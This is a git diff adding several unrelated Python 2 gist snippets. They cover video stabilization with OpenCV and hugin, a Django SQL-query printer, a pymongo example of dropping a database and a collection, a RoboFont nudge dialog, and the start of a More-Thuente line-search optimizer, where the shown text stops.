+    with open(out_pto + '.tmp', 'r') as tmp_ff:
+        with open(out_pto, 'w' ) as ff:
+            # re-write the header
+            ff.write(tmp_ff.readline())
+            ff.write(tmp_ff.readline())
+            # force jpeg for the p-line
+            p_line = tmp_ff.readline().strip().split()
+            assert p_line[0] == 'p', "BUG: should be a p-line"
+            ff.write(' '.join(p_line[:7]) + ' n"JPEG q100"\n')
+            # remove extra 'f' param in the m-line
+            # (screws everything up if left here...)
+            m_line = tmp_ff.readline().strip().split()
+            assert m_line[0] == 'm', "BUG: should be a m-line"
+            ff.write(' '.join(m_line[:3]) + ' ' + ' '.join(m_line[4:]) + '\n')
+            # write all other lines
+            for l in tmp_ff.readlines():
+                ff.write(l)
+    os.remove(out_pto + '.tmp')
+    print "saved {0}".format(out_pto)
+
+
+def get_surf_kps(img_fn, img=None, center_out=0.5,
+                 cness_thresh=1000, min_pts=30, max_pts=300):
+    """ Return the opened gray-scale OpenCV image and its SURF keypoints
+
+    Points "in the middle" of the frames are left out
+    (center_out = proportioned of space left out).
+    """
+    assert center_out < 1, "Too high center part to remove"
+    # initialize the SURF keypoint detector and descriptor
+    surf = cv2.SURF(cness_thresh)
+    # load the gray-scale image
+    if img is None:
+        img = cv2.imread(img_fn, 0)
+    # detect and describe SURF keypoints
+    cvkp, ds = surf.detect(img, None, False)
+    # re-arrange the data properly
+    ds.shape = (-1, surf.descriptorSize())  # reshape to (n_pts, desc_size)
+    kp = np.array([p.pt for p in cvkp])
+    cness = np.array([p.response for p in cvkp])
+    # filter out points in the middle (likely to be on the moving actor)
+    if center_out > 0:
+        rx = img.shape[1]
+        lb = center_out * 0.5 * rx
+        ub = (1 - center_out * 0.5) * rx
+        mask = (kp[:, 0] < lb) + (kp[:, 0] > ub)
+        kp = kp[mask, :]
+        ds = ds[mask, :]
+        cness = cness[mask]
+    # check we're within the limits
+    if kp.shape[0] < min_pts:
+        if cness_thresh > 100:
+            # redo the whole thing with a lower threshold
+            _, kp, ds = get_surf_kps(img_fn, img=img, center_out=center_out,
+                                     min_pts=min_pts, max_pts=max_pts,
+                                     cness_thresh=0.5 * cness_thresh)
+        else:
+            # we lowered the threshold too much and didn't find enough points
+            raise ValueError('Degenerate image (e.g. black) or too high center_out')
+    if kp.shape[0] > max_pts:
+        # too many points, take those with max cornerness only
+        cness_order = np.argsort(cness)[::-1]
+        kp = kp[cness_order[:max_pts], :]
+        ds = ds[cness_order[:max_pts], :]
+    return img, kp, ds
+
+
+def get_pairwise_matches(pos1, descs1, pos2, descs2, up_to=30):
+    """ Get the matching local features from img1 to img2
+    """
+    assert pos1.shape[0] * pos2.shape[0] < 1e8, \
+            "Too many points: increase cornerness threshold"
+    assert pos1.shape[0] > 10 and pos1.shape[0] > 10, \
+            "Not enough points: lower cornerness threshold"
+    # get the similarities between all descriptors
+    sims = np.dot(descs1, descs2.T)
+    # Note: in practice, using a kernel between histograms works better
+    # get the best matches
+    mi2 = sims.argmax(axis=1).squeeze()
+    ms = sims.max(axis=1).squeeze()
+    bmi1 = ms.argsort()[::-1][:up_to]
+    bmi2 = mi2[bmi1]
+    # return their positions
+    bp1 = pos1[bmi1]
+    bp2 = pos2[bmi2]
+    return bp1, bp2
+
+
+def gen_pairwise_surf_control_points(proj_file, img_fns, display=False):
+    """ Use OpenCV for pairwaise image matching
+
+    cf. <opencv samples dir>/find_obj.py
+    """
+    # get the kps of the first frame
+    img1, kp1, ds1 = get_surf_kps(img_fns[0])
+    # match the frame t with t+1
+    cpoints = []
+    for i2 in range(1, len(img_fns)):
+        # get the kps of frame t+1
+        img2, kp2, ds2 = get_surf_kps(img_fns[i2])
+        # get the control points
+        cp1, cp2 = get_pairwise_matches(kp1, ds1, kp2, ds2)
+        # estimate the homography
+        H, mask = cv2.findHomography(cp1, cp2, cv2.RANSAC)
+        mask = mask.squeeze() > 0
+        # display the matches and homography
+        if display:
+            hom_warp_image(img1, cp1, img2, cp2, H, mask)
+        # filter out the outlier matches
+        cp1 = cp1[mask]
+        cp2 = cp2[mask]
+        # add the control points
+        cpoints.extend([hsi.ControlPoint(i2 - 1, x1, y1, i2, x2, y2)
+                        for (x1, y1), (x2, y2) in zip(cp1, cp2)])
+        # next -> cur
+        img1, kp1, ds1 = img2, kp2, ds2
+    # write to pto
+    pano = hsi.Panorama()
+    pano.readData(hsi.ifstream(proj_file))
+    pano.setCtrlPoints(cpoints)
+    pano.writeData(hsi.ofstream(proj_file))
+
+
+def gen_control_points(proj_file, img_fns, hfov, method="surf"):
+    """ Generate control points by detecting and matching salient local features
+    """
+    # initialize the pto project
+    pto_gen(img_fns, hfov=hfov, out_pto=proj_file)
+    if method == "surf":
+        # generate the control points with OpenCV's SURF + RANSAC
+        gen_pairwise_surf_control_points(proj_file, img_fns)
+    elif method == "cpfind":
+        # generate the control points with hugin's cpfind
+        # Note: not a good idea because forces points to be spread over the frame
+        #       which forces points to be on the actor => we don't want that
+        opts = "-v -n 1"  # 1 thread
+        # RANSAC to estimate homography
+        opts+= "  --ransacmode hom"
+        #opts+= " --mulitrow"  # multirow heuristics
+        # don't downscale image by 2
+        opts+= " --fullscale"
+        # --linearmatchlen 5"  # match only pairs (t, t+1), ..., (t, t+n)
+        opts+= "  --linearmatch"
+        # at most size pts per cell in w x h grid
+        opts+= " --sieve1width 5 --sieve1height 5 --sieve1size 10"
+        # at most size pts per cell in w x h grid
+        opts+= " --sieve2width 5 --sieve2height 5 --sieve2size 1"
+        cmd = "cpfind {opts} -o {pto} {pto}"
+        exec_shell(cmd.format(opts=opts, pto=proj_file))
+    elif method == "sift":
+        # with autopano-sift-c
+        cmd = "autopano-sift-c --ransac off --projection 0,{hfov} {pto} {imgs}"
+        exec_shell(cmd.format(hfov=hfov, pto=proj_file, imgs=' '.join(img_fns)))
+    else:
+        raise ValueError("Unknown method %s" % method)
+
+
+def motion_stabilize_frames(img_fns, hfov=50, out_avi="out.avi"):
+    """ Motion stabilize a video
+
+    Parameters
+    ----------
+    img_fns: list,
+             the (ordered) full paths to the video frames
+
+    hfov: int, optional, default: 50,
+          horizontal field of view in degrees
+          (around 50 is ok for most non-fish-eye cameras)
+
+    out_avi: string, optional, default: 'out.avi',
+             output path to the generated motion-stabilized video
+
+    Notes
+    -----
+    Uses opencv, hugin and ffmpeg.
+    """
+    # create a temporary directory
+    tmpd = tempfile.mkdtemp(prefix='tmp_mostab_', dir='.')
+    # pano tools project file
+    proj_file = "%s/project.pto" % tmpd
+    try:
+        # generate the control points
+        gen_control_points(proj_file, img_fns, hfov)
+        # prune the control points  TODO necessary?
+        #cmd = "cpclean -p -o {pto} {pto}"
+        #exec_shell(cmd.format(pto=proj_file))
+        # optimise geometric parameters only
+        cmd = "autooptimiser -p -s -o {pto}.optim.pto {pto}"
+        # Note: not '-l' as levelling can screw things up
+        exec_shell(cmd.format(pto=proj_file))
+        # remapping to create the distorted frames in the full scene plane
+        cmd = "nona -t 1 -m TIFF_m -o {tmpd}/remapped {pto}.optim.pto"  # 1 thread
+        exec_shell(cmd.format(tmpd=tmpd, pto=proj_file))
+        # make a video from the tiff frames
+        cmd = "ffmpeg -y -f image2 -i {tmpd}/remapped%04d.tif -vcodec mjpeg -qscale 1 -an {avi}"
+        exec_shell(cmd.format(tmpd=tmpd, avi=out_avi), raise_on_err=False)
+        print "saved {0}".format(out_avi)
+    finally:
+        # clean up
+        shutil.rmtree(tmpd)
+    sys.stdout.flush()
+
+
+# =============================================================================
+# some visualization function based on opencv
+# =============================================================================
+
+
+def draw_match(img1, img2, p1, p2, mask=None, H=None):
+    """ Draw the matches found from img1 to img2
+    """
+    h1, w1 = img1.shape[:2]
+    h2, w2 = img2.shape[:2]
+    vis = np.zeros((max(h1, h2), w1+w2), np.uint8)
+    vis[:h1, :w1] = img1
+    vis[:h2, w1:w1+w2] = img2
+    vis = cv2.cvtColor(vis, cv2.COLOR_GRAY2BGR)
+
+    if H is not None:
+        corners = np.float32([[0, 0], [w1, 0], [w1, h1], [0, h1]])
+        corners = np.int32(
+            cv2.perspectiveTransform(
+                corners.reshape(1, -1, 2), H).reshape(-1, 2) + (w1, 0))
+        cv2.polylines(vis, [corners], True, (255, 255, 255))
+    
+    if mask is None:
+        mask = np.ones(len(p1), np.bool_)
+
+    green = (63, 255, 0)
+    red = (0, 0, 255)
+    for (x1, y1), (x2, y2), inlier in zip(np.int32(p1), np.int32(p2), mask):
+        col = [red, green][inlier]
+        if inlier:
+            cv2.line(vis, (x1, y1), (x2+w1, y2), col)
+            cv2.circle(vis, (x1, y1), 4, col, 2)
+            cv2.circle(vis, (x2+w1, y2), 4, col, 2)
+        else:
+            r = 2
+            thickness = 3
+            cv2.line(vis, (x1-r, y1-r), (x1+r, y1+r), col, thickness)
+            cv2.line(vis, (x1-r, y1+r), (x1+r, y1-r), col, thickness)
+            cv2.line(vis, (x2+w1-r, y2-r), (x2+w1+r, y2+r), col, thickness)
+            cv2.line(vis, (x2+w1-r, y2+r), (x2+w1+r, y2-r), col, thickness)
+    return vis
+
+
+def hom_warp_image(img1, pts1, img2, pts2, hom, mask):
+    """ Show keypoint matches and the estimated homography
+    """
+    # warp img2
+    if img2.ndim == 2:
+        img2 = img2[:,:,np.newaxis]
+    wimg2 = np.zeros_like(img2)
+    for chan in range(img2.shape[2]):
+        _i2 = np.ascontiguousarray(img2[:, :, chan], dtype="f4")
+        #wimg2[:,:,chan] = cv2.warpPerspective(_i2, hom, _i2.T.shape)
+        zz = cv2.warpPerspective(_i2, hom, _i2.T.shape)
+        zx, zy = np.where(zz > 0)
+        wimg2[zx, zy, chan] = zz[zx, zy]
+    wimg2 = wimg2.squeeze()
+    # warp the matches in img2
+    wpts2 = cv2.perspectiveTransform(pts2.reshape(1, -1, 2), hom).reshape(-1, 2)
+    # show the kept matches
+    vis = draw_match(img1, wimg2, pts1, wpts2, mask, hom)
+    cv2.imshow("match", vis)
+    cv2.waitKey()
+
+
+if __name__ == "__main__":
+
+    if len(sys.argv) < 4:
+        print "usage: video_stabilization.py <out.avi> <frame 1> <frame 2> ..."
+        sys.exit(0)
+
+    out_avi = sys.argv[1]
+    img_fns = sys.argv[2:]
+    
+    motion_stabilize_frames(img_fns, out_avi=out_avi)
\ No newline at end of file
diff --git a/hard-gists/1554441/._snippet.py b/hard-gists/1554441/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1554441/._snippet.py differ
diff --git a/hard-gists/1554441/snippet.py b/hard-gists/1554441/snippet.py
new file mode 100644
index 00000000..b3c20497
--- /dev/null
+++ b/hard-gists/1554441/snippet.py
@@ -0,0 +1,29 @@
+# These are some commands to copy and paste into a manage.py shell session
+# in order to find out what SQL queries are generated by a view
+
+## turn on DEBUG so that ``connection.queries`` gets populated
+from django.conf import settings
+settings.DEBUG = True
+from django.db import connection
+
+
+## handy function for printing the queries
+def print_q(queries, sort=None, truncate=100):
+    if sort is not None:
+        queries = sorted(queries, key=lambda x: float(x['time']), reverse=not sort)
+    for q in queries:
+        print q['time'], q['sql'][:truncate]
+
+print_q(connection.queries, True)
+
+
+## call the view!
+from django.test.client import Client
+c = Client()
+
+url = '/my/url'
+c.get(url)
+
+
+print_q(connection.queries, True)
+sum(map(lambda x: float(x['time']), connection.queries))
\ No newline at end of file
diff --git a/hard-gists/1556251/._snippet.py b/hard-gists/1556251/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1556251/._snippet.py differ
diff --git a/hard-gists/1556251/snippet.py b/hard-gists/1556251/snippet.py
new file mode 100644
index 00000000..e6d94770
--- /dev/null
+++ b/hard-gists/1556251/snippet.py
@@ -0,0 +1,9 @@
+# dropping a database via pymongo
+from pymongo import Connection
+c = Connection()
+c.drop_database('mydatabase')
+
+# drop a collection via pymongo
+from pymongo import Connection
+c = Connection()
+c['mydatabase'].drop_collection('mycollection')
diff --git a/hard-gists/1558831/._snippet.py b/hard-gists/1558831/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1558831/._snippet.py differ
diff --git a/hard-gists/1558831/snippet.py b/hard-gists/1558831/snippet.py
new file mode 100644
index 00000000..8b5b05fd
--- /dev/null
+++ b/hard-gists/1558831/snippet.py
@@ -0,0 +1,111 @@
+# [h] interpolated nudge dialog
+
+'''a simple RoboFont dialog for the famous "interpolated nudge" script'''
+
+# Interpolated Nudge for RoboFont -- Travis Kochel
+# http://tktype.tumblr.com/post/15254264845/interpolated-nudge-for-robofont
+
+# Interpolated Nudge -- Christian Robertson
+# http://betatype.com/node/18
+
+from vanilla import *
+
+from NudgeCore import *
+
+class interpolatedNudgeDialog(object):
+
+    _title = "Nudge"
+    _button_1 = 30
+    _button_2 = 20
+    _padding = 10
+    _width = (_button_1 * 3) + (_padding * 2) - 2
+    _height = (_button_1 * 4) + (_padding * 3) - 2
+
+    _nudge = 10
+
+    def __init__(self):
+        self.w = FloatingWindow(
+                (self._width,
+                self._height),
+                self._title)
+        self.w._up = SquareButton(
+                (self._button_1 + self._padding - 1,
+                self._padding,
+                self._button_1,
+                self._button_1),
+                "+",
+                callback=self._up_callback)
+        self.w._left = SquareButton(
+                (self._padding,
+                self._button_1 + self._padding - 1,
+                self._button_1,
+                self._button_1),
+                "-",
+                callback=self._left_callback)
+        self.w._right = SquareButton(
+                ((self._button_1 * 2) + self._padding - 2,
+                self._button_1 + (self._padding - 1),
+                self._button_1,
+                self._button_1),
+                "+",
+                callback=self._right_callback)
+        self.w._down = SquareButton(
+                (self._button_1 + self._padding - 1,
+                (self._button_1 * 2) + (self._padding - 2),
+                self._button_1,
+                self._button_1),
+                "-",
+                callback=self._down_callback)
+        # nudge size
+        self.w._nudge_value = EditText(
+                (self._padding,
+                (self._button_1 * 3) + (self._padding * 2) + 5,
+                (self._width / 2) - (self._padding * 1.5),
+                20),
+                self._nudge,
+                sizeStyle='small',
+                readOnly=True)
+        self.w._nudge_plus = SquareButton(
+                (-self._padding - 20,
+                (self._button_1 * 3) + (self._padding * 2) + 5,
+                self._button_2,
+                self._button_2),
+                '+',
+                sizeStyle='small',
+                callback=self.nudge_plus_callback)
+        self.w._nudge_minus = SquareButton(
+                (-self._padding - 39,
+                (self._button_1 * 3) + (self._padding * 2) + 5,
+                self._button_2,
+                self._button_2),
+                '-',
+                sizeStyle='small',
+                callback=self.nudge_minus_callback)
+        # open dialog
+        self.w.open()
+
+    def nudge_minus_callback(self, sender):
+        _nudge = int(self.w._nudge_value.get()) - 10
+        if _nudge >= 0:
+            self._nudge = _nudge
+            self.w._nudge_value.set(self._nudge)
+
+    def nudge_plus_callback(self, sender):
+        self._nudge = int(self.w._nudge_value.get()) + 10
+        self.w._nudge_value.set(self._nudge)
+
+    def _left_callback(self, sender):
+        nudgeSelected((-self._nudge, 0))
+
+    def _right_callback(self, sender):
+        nudgeSelected((self._nudge, 0))
+
+    def _up_callback(self, sender):
+        nudgeSelected((0, self._nudge))
+
+    def _down_callback(self, sender):
+        nudgeSelected((0, -self._nudge))
+
+# run
+
+interpolatedNudgeDialog()
diff --git a/hard-gists/1561144/._snippet.py b/hard-gists/1561144/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1561144/._snippet.py differ
diff --git a/hard-gists/1561144/snippet.py b/hard-gists/1561144/snippet.py
new file mode 100644
index 00000000..7443719f
--- /dev/null
+++ b/hard-gists/1561144/snippet.py
@@ -0,0 +1,1046 @@
+#!/usr/bin/env python
+
+'''
+Pure Python implementation of some numerical optimizers
+
+Created on Jan 21, 2011
+
+@author Jiahao Chen
+'''
+
+from scipy import dot, eye, finfo, asarray_chkfinite, sqrt, \
+    outer, zeros, isinf, arccos
+from scipy.linalg import inv, norm, pinv, solve, LinAlgError
+from copy import deepcopy
+
+_epsilon = sqrt(finfo(float).eps)
+
+#################
+# Line searches #
+#################
+def MinpackLineSearch(f, df, x, p, df_x = None, f_x = None,
+                args = (), c1 = 1e-4, c2 = 0.4, amax = 50, xtol = _epsilon):
+    "Modified shamelessly from scipy.optimize"
+
+    if df_x == None: df_x = df(x)
+    if f_x == None: f_x = f(x)
+    from scipy.optimize import line_search
+    stp, _, _, _, _, _ = line_search(f, df, x, p, df_x, f_x, f_x, args, c1, c2, amax)
+    if stp == None: #Fall back to backtracking linesearch
+        return BacktrackingLineSearch(f, df, x, p, df_x, f_x, args)
+    else:
+        return stp
+
+
+
+def MoreThuenteLinesearchIterate(delta, alpha_l, alpha_u, alpha_t, alpha_min,
+            alpha_max, f_l, g_l, f_t, g_t, f_u, g_u, isBracketed, Verbose):
+    #Section 4 of More and Thuente: Pick new trial alpha
+    if Verbose: print 'Section 4 of More and Thuente'
+    assert not (isBracketed and not min(alpha_l, alpha_u) < alpha_t < max(alpha_l, alpha_u)), 'Bracketing fail'
+    #if g_t * (alpha_t - alpha_l) < 0.0:
+    #    if Verbose: print 'Going uphill; reverting to last good point'
+    #    return isBracketed, alpha_l, alpha_l, alpha_t
+
+    if alpha_min == alpha_max:
+        print 'Squeezed!'
+        return isBracketed, alpha_min, alpha_min, alpha_min
+
+    assert alpha_min < alpha_max
+
+    sgnd = dot(g_t, g_l / abs(g_l))
+    isBounded = False
+    if f_t > f_l:
+        if Verbose:
+            print """Case 1: a higher function value. \
+The minimum is bracketed by [a_l, a_t]. If the cubic step is closer to \
+lower bound then take it, else take average of quadratic and cubic steps."""
+        #Calculate cubic and quadratic steps
+        da = alpha_t - alpha_l
+        d1 = g_l + g_t + 3 * (f_l - f_t) / da
+        s = max(g_l, g_t, d1)
+        d2 = s * ((d1 / s) ** 2 - (g_l / s * g_t / s)) ** 0.5
+        if alpha_t < alpha_l:
+            d2 = -d2
+        cubp = d2 - g_l + d1
+        cubq = ((d2 - g_l) + d2) + g_t
+        if abs(cubq) > _epsilon:
+            r = cubp / cubq
+            #Minimizer of cubic that interpolates f_l, f_t, g_l, g_t
+            alpha_c = alpha_l + r * da
+            #Minimizer of quadratic that interpolates f_l, f_t, g_l
+            alpha_q = alpha_l + ((g_l / ((f_l - f_t) / da + g_l)) * 0.5 * da)
+        else:
+            #print 'WARNING: VERY SMALL INTERVAL'
+            alpha_c = alpha_q = 0.5 * (alpha_l + alpha_t) #Invalid, choose midpoint
+        #Calculate new trial
+        if Verbose:
+            print 'Interpolating guesses:', alpha_c, alpha_q
+        if abs(alpha_c - alpha_l) < abs(alpha_q - alpha_l):
+            alpha_tt = alpha_c
+        else:
+            alpha_tt = 0.5 * (alpha_c + alpha_q)
+        isBracketed = True
+        isBounded = True
+
+    elif sgnd < 0: #f_t <= f_l assumed by here
+        if Verbose:
+            print """Case 2: lower function value and derivatives are of opposite sign. \
+The minimum is bracketed by [a_l, a_t]. If the cubic step is closer to lower \
+bound then take it, else take quadratic step."""
+        #Calculate cubic and quadratic steps
+        da = alpha_t - alpha_l
+        d1 = g_l + g_t + 3 * (f_l - f_t) / da
+        s = max(g_l, g_t, d1)
+        d2 = s * ((d1 / s) ** 2 - (g_l / s * g_t / s)) ** 0.5
+        if alpha_t < alpha_l:
+            d2 = -d2
+        cubp = d2 - g_t + d1
+        cubq = ((d2 - g_t) + d2) + g_l
+        if abs(cubq) > _epsilon:
+            r = cubp / cubq #Minimizer of cubic that interpolates f_l, f_t, g_l, g_t
+            alpha_c = alpha_t - r * da #Minimizer of quadratic that interpolates f_l, f_t, g_l
+            alpha_s = alpha_t - (g_l / (g_l - g_t)) * da
+        else:
+            #print 'WARNING: VERY SMALL INTERVAL'
+            alpha_s = alpha_c = 0.5 * (alpha_l + alpha_t) #Invalid, choose midpoint
+        #Calculate new trial
+        if Verbose:
+            print 'Interpolating guesses:', alpha_c, alpha_s
+        if abs(alpha_c - alpha_t) >= abs(alpha_s - alpha_t):
+            alpha_tt = alpha_c
+        else:
+            alpha_tt = alpha_s
+        isBracketed = True
+        isBounded = False
+    elif norm(g_t) <= norm(g_l): #g_t * g_l >= 0 and f_t <= f_l assumed by here
+        if Verbose:
+            print """Case 3: lower function value and derivatives are of same \
+sign, and magnitude of derivative decreased.\n Cubic step used only if it tends \
+to infinity in direction of step or if minimum of cubic lies beyond step. \
+Otherwise cubic step is defined to be either stpmin or stpmax. Quadratic step is \
+taken if it is closer to alpha_t, else take the farthest step."""
+        #Calculate cubic and quadratic steps
+        da = alpha_t - alpha_l
+        d1 = g_l + g_t + 3 * (f_l - f_t) / da
+        s = max(g_l, g_t, d1)
+        d2 = s * ((d1 / s) ** 2 - (g_l / s * g_t / s)) ** 0.5
+        if alpha_t < alpha_l:
+            d2 = -d2
+
+        cubp = d2 - g_t + d1
+        cubq = ((d2 - g_t) + d2) + g_l
+        r = cubp / cubq
+        #The case d2 == 0 arises only if cubic does not tend to infinity in
+        #direction of step
+        if (r < 0. and abs(d2) < _epsilon):
+            alpha_c = alpha_t - r * da
+        elif alpha_t > alpha_l:
+            alpha_c = alpha_max
+        else:
+            alpha_c = alpha_min
+
+        #Minimizer of quadratic that interpolates f_l, f_t, g_l
+        alpha_s = -alpha_t - (g_l / (g_l - g_t)) * da
+
+        if isBracketed:
+            if abs(alpha_c - alpha_t) < abs(alpha_s - alpha_t):
+                alpha_tt = alpha_c
+            else:
+                alpha_tt = alpha_s
+        else:
+            if abs(alpha_c - alpha_t) > abs(alpha_s - alpha_t):
+                alpha_tt = alpha_c
+            else:
+                alpha_tt = alpha_s
+    else:
+        if Verbose:
+            print """Case 4: lower function value and derivatives \
+are of same sign, and magnitude of derivative did not decrease.
+The minimum is NOT NECESSARILY bracketed. \
+If bracketed, take cubic step, otherwise take  alpha_min or alpha_max."""
+        #Minimizer of cubic that interpolates f_u, f_t, g_u, g_t
+        #Formula from Nocedal and Wright 2/e, Eq. 3.59, p 59
+        if isBracketed:
+            da = alpha_t - alpha_u
+            d1 = g_u + g_t + 3 * (f_u - f_t) / da
+            s = max(g_l, g_t, d1)
+            d2 = s * ((d1 / s) ** 2 - (g_l / s * g_t / s)) ** 0.5
+            if alpha_t < alpha_u:
+                d2 = -d2
+            cubp = d2 - g_t + d1
+            cubq = ((d2 - g_t) + d2) + g_u
+            if abs(cubq) > _epsilon:
+                r = cubp / cubq
+                alpha_tt = alpha_t - r * da
+            else:
+                #print 'WARNING: VERY SMALL INTERVAL'
+                alpha_tt = 0.5 * (alpha_l + alpha_t) #Invalid, choose midpoint
+        else:
+            if alpha_t > alpha_l:
+                alpha_tt = alpha_max
+            else:
+                alpha_tt = alpha_min
+
+        isBounded = False #abs(g_t) > abs(g_l)
+
+    if Verbose: print 'Now proceeding to update'
+
+    #Update interval of uncertainty
+    if f_t > f_l:
+        if Verbose: print 'Update case 1'
+        alpha_u, f_u, g_u = alpha_t, f_t, g_t
+    else:
+        if sgnd < 0:
+            if Verbose: print 'Update case 2'
+            alpha_u, f_u, g_u = alpha_l, f_l, g_l
+        else:
+            if Verbose: print 'Update case 3'
+        alpha_l, f_l, g_l = alpha_t, f_t, g_t
+
+
+    """Refine trial value if it lies outside [alpha_t, alpha_u] or
+    is otherwise too close to alpha_u."""
+    alpha_tt = min(alpha_max, alpha_tt)
+    alpha_tt = max(alpha_min, alpha_tt) #Update
+    alpha_t = alpha_tt
+    if isBracketed and isBounded:
+        if alpha_u > alpha_l:
+            alpha_t = min(alpha_l + delta * (alpha_u - alpha_l), alpha_t)
+        else:
+            alpha_t = max(alpha_l + delta * (alpha_u - alpha_l), alpha_t)
+
+    if Verbose: print 'Refined trial value = ', alpha_t
+
+    return isBracketed, alpha_t, alpha_l, alpha_u
+
+
+
+def MoreThuenteLineSearch(f, df, x, p, df_x = None, f_x = None, args = (),
+    mu = 0.01, eta = 0.5, ftol = _epsilon, gtol = _epsilon, rtol = _epsilon,
+    maxiter = 9, fmin = 0.0, alpha_min0 = 0.001, alpha_max0 = 100.0, alpha_t = 1.0,
+    p5 = 0.5, xtrapf = 4.0, delta = 0.66, Verbose = False):
+    """Implements the line search algorithm of Mor\'e and Thuente, ACM TOMS 1994
+    "Line search algorithms with guaranteed sufficient decrease"
+    doi: 10.1145/192115.192132
+    
+    Inputs
+    ------
+    f
+    df
+    x
+    p
+    df_x = None
+    f_x = None
+    args = ()
+    mu = 0.01
+    mu is maximum required decrease
+     mu >= |f(x+dx) - f(x)| / |df(x).p|
+     mu in (0,1)
+    eta = 0.5
+    eta is maximum permissible value of |df(x+dx).p|/|df(x).p|
+    eta in (0,1)
+    ftol = _epsilon
+    gtol = _epsilon
+    rtol = _epsilon
+    rtol is relative tolerance for acceptable step
+    maxiter: Maximum number of iterations. Default: 9
+    fmin = 0.0
+    alpha_min0 = 0.001
+    alpha_max0 = 100.0
+    alpha_t = 1.0
+    p5 = 0.5
+    xtrapf: An extrapolation parameter. Recommended: between [1.1, 4.0].
+            Default: 4.0
+    delta = 0.66
+    Verbose = True
+    """
+
+    ##################################
+    # Evaluate function and derivative
+    ##################################
+    if f_x == None: f_0 = f(x, *args)
+    else:           f_0 = f_x
+
+    if df_x == None: df_0 = df(x, *args)
+    else:            df_0 = df_x
+
+    g_0 = dot(df_0, p)
+
+    ############################################################
+    # Check that initial gradient in search direction is downhill
+    #############################################################
+    assert g_0.shape == (1, 1) or g_0.shape == (), 'Scipy screwed up the calculation.'
+    assert g_0 < 0, 'Attempted to linesearch uphill'
+
+    ############
+    # Initialize
+    ############
+    FoundGoodPoint = isBracketed = False
+    gtest = ftol * g_0
+    width = alpha_max0 - alpha_min0
+    width1 = width / p5
+
+    f_t = f(x + alpha_t * p, *args)
+    df_t = df(x + alpha_t * p, *args)
+    g_t = dot(df_t, p)
+
+    # alpha = step size
+    # f = function value
+    # g = gradient value in descent direction
+    # _l = best step so far
+    # _u = other endpoint of interval of uncertainty
+    # _t = current step iterate
+    alpha_l = alpha_u = 0.0
+    f_l = f_u = f_0
+    g_l = g_u = g_0
+
+    if alpha_l == alpha_min0: alpha_l += _epsilon
+    if alpha_u == alpha_max0: alpha_u -= _epsilon
+    assert alpha_min0 != alpha_max0
+
+    for k in range(maxiter):
+        if Verbose: print 'Iteration', k, ':', alpha_t, 'in (', alpha_l, ',', alpha_u, ')'
+
+        ############################################
+        # Initialize current interval of uncertainty
+        ############################################
+        if isBracketed:
+            alpha_min = min(alpha_l, alpha_u)
+            alpha_max = max(alpha_l, alpha_u)
+        else:
+            alpha_min = alpha_l
+            alpha_max = alpha_t + xtrapf * abs(alpha_t - alpha_l)
+            assert alpha_min <= alpha_max
+
+        ##################################################
+        # Safeguard trial step within pre-specified bounds
+        ##################################################
+        alpha_t = max(alpha_t, alpha_min0)
+        alpha_t = min(alpha_t, alpha_max0)
+
+        #If something funny happened, set it to lowest point obtained thus far
+        if ((isBracketed and (alpha_t <= alpha_min or alpha_t >= alpha_max)) \
+         or (isBracketed and (alpha_max - alpha_min <= rtol * alpha_max)) \
+            ):
+            if Verbose: print 'Something funny happened'
+            return alpha_l
+
+
+        #Evaluate function and gradient at new point
+        f_t = f(x + alpha_t * p, *args)
+        df_t = df(x + alpha_t * p, *args)
+        g_t = dot(df_t, p)
+        ftest1 = f_0 + alpha_t * gtest
+
+        ######################
+        # Test for convergence
+        ######################
+
+        if (alpha_l == alpha_max0 and f_t <= ftest1 and g_t <= gtest):
+            if Verbose: print 'Stuck on upper bound'
+            break
+        if (alpha_l == alpha_min0 and f_t > ftest1 and g_t >= gtest):
+            if Verbose: print 'Stuck on lower bound'
+            break
+        #Check for a) sufficient decrease AND b) strong curvature criterion
+        if ((f_t <= f_0 + mu * g_0 * alpha_t) \
+            and abs(g_t) <= eta * abs(g_0)):
+            if Verbose: print 'Decrease criterion satisfied'
+            break
+
+        #Check for bad stuff
+        if isBracketed:
+            if (abs(alpha_max - alpha_min) >= delta * width1):
+                print 'Warning: Could not satisfy curvature conditions'
+                alpha_t = alpha_min + p5 * (alpha_max - alpha_min)
+            width1 = width
+            width = abs(alpha_max - alpha_min)
+
+        #If interval is bracketed to sufficient precision, break
+        if k > 0 and abs(alpha_l - alpha_u) < rtol:
+            if Verbose: print 'Interval bracketed: alpha = ', alpha_t
+            print 'Line search stuck. Emergency abort.'
+            break
+
+        ########################################################
+        # Nocedal's modification of the More-Thuente line search
+        ########################################################
+        ftest1 = f_0 + alpha_l * gtest
+
+        # Seek a step for which the modified function has a nonpositive value
+        # and a nonnegative derivative
+
+        if (not FoundGoodPoint) and f_t <= ftest1 and g_t >= g_0 * min(ftol, gtol):
+            FoundGoodPoint = True
+
+        # The modified function is used only if we don't have a step where the
+        # previous condition is attained, and if a lower function value has been
+        # obtained but it is not low enough
+
+        if (not FoundGoodPoint) and f_t <= f_l and f_t > ftest1:
+            if Verbose: print "Performing Nocedal's modification"
+            f_mt = f_t - alpha_t * gtest
+            f_ml = f_l - alpha_l * gtest
+            f_mu = f_u - alpha_u * gtest
+            g_mt = g_t - gtest
+            g_ml = g_l - gtest
+            g_mu = g_u - gtest
+
+            isBracketed, alpha_t, alpha_l, alpha_u = MoreThuenteLinesearchIterate\
+            (delta, alpha_l, alpha_u, alpha_t, alpha_min, alpha_max, f_ml, \
+             g_ml, f_mt, g_mt, f_mu, g_mu, isBracketed, Verbose)
+
+            f_l = f_ml + alpha_l * gtest
+            f_u = f_mu + alpha_u * gtest
+            g_l = g_ml + gtest
+            g_u = g_mu + gtest
+
+        else:
+            if Verbose: print 'Performing original More-Thuente line search'
+            isBracketed, alpha_t, alpha_l, alpha_u = MoreThuenteLinesearchIterate\
+            (delta, alpha_l, alpha_u, alpha_t, alpha_min, alpha_max, f_l, g_l, \
+             f_t, g_t, f_u, g_u, isBracketed, Verbose)
+
+        ###########################
+        # Force sufficient decrease
+        ###########################
+        if isBracketed:
+            if Verbose: print 'Force sufficient decrease'
+            if abs(alpha_u - alpha_l) >= delta * width1:
+                alpha_t = alpha_l + p5 * (alpha_u - alpha_l)
